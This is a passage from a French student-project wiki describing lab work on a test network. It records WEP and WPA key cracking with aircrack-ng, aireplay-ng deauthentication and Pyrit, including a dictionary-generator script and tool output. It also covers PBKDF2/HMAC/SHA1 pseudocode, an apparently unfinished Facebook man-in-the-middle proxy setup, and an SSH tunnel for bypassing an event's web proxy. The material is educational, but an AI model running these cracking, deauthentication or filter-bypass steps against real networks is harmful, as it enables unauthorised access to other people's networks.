    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===Attaque Man In the Middle de Facebook===&lt;br /&gt;
Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.&lt;br /&gt;
&lt;br /&gt;
Config Squid&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
acl allowedips src 172.16.1.0/24&lt;br /&gt;
http_access allow allowedips&lt;br /&gt;
forwarded_for off&lt;br /&gt;
http_access deny all&lt;br /&gt;
cache_access_log /var/log/squid3/access.log&lt;br /&gt;
cache_log /var/log/squid3/cache.log&lt;br /&gt;
cache_store_log /var/log/squid3/store.log&lt;br /&gt;
cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
cache_mem 16 MB&lt;br /&gt;
maximum_object_size 15 MB&lt;br /&gt;
http_port 3128&lt;br /&gt;
cache_effective_group root&lt;br /&gt;
url_rewrite_program /usr/bin/squidGuard&lt;br /&gt;
shutdown_lifetime 1 second&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Config Squidguard&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dbhome /usr/local/squidGuard/db&lt;br /&gt;
&lt;br /&gt;
dest fb-login {&lt;br /&gt;
    urllist     facebook/url&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
acl {&lt;br /&gt;
    default {&lt;br /&gt;
       pass !fb-login all&lt;br /&gt;
       redirect http://127.0.0.1/&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
cat /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
fr-fr.facebook.com&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Contournement d'un proxy===&lt;br /&gt;
Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition &amp;quot;La nuit de l'info&amp;quot;, nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install openssh-server proxytunnel isc-dhcp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /root/.ssh/config&lt;br /&gt;
Host perfectTunnel&lt;br /&gt;
        Hostname ADRESSE_IP_DE_NOTRE_SERVEUR&lt;br /&gt;
        User root&lt;br /&gt;
        Port 443&lt;br /&gt;
        ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssh \&lt;br /&gt;
  -o PermitLocalCommand=yes \&lt;br /&gt;
  -o LocalCommand=&amp;quot;ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0&amp;quot; \&lt;br /&gt;
  -o ServerAliveInterval=60 \&lt;br /&gt;
  -w 5:5 perfectTunnel \&lt;br /&gt;
  'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping -I tun5 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
3 packets transmitted, 3 received, 0% packet loss, time 2002ms&lt;br /&gt;
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# route del default&lt;br /&gt;
# route add default gw 12.24.48.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ping 8.8.8.8&lt;br /&gt;
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms&lt;br /&gt;
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 8.8.8.8 ping statistics ---&lt;br /&gt;
4 packets transmitted, 4 received, 0% packet loss, time 3004ms&lt;br /&gt;
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# vim /etc/default/isc-dhcp-server&lt;br /&gt;
INTERFACES=&amp;quot;eth0&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# vim /etc/dhcp/dhcpd.conf&lt;br /&gt;
subnet 118.218.0.0 netmask 255.255.0.0 {&lt;br /&gt;
        range 118.218.1.1 118.218.254.254;&lt;br /&gt;
        option routers 118.218.0.1;&lt;br /&gt;
        option subnet-mask 255.255.0.0;&lt;br /&gt;
        option broadcast-address 118.218.255.255;&lt;br /&gt;
        option domain-name-servers 8.8.8.8, 8.8.4.4;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
authoritative;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT&lt;br /&gt;
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT&lt;br /&gt;
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
 &lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
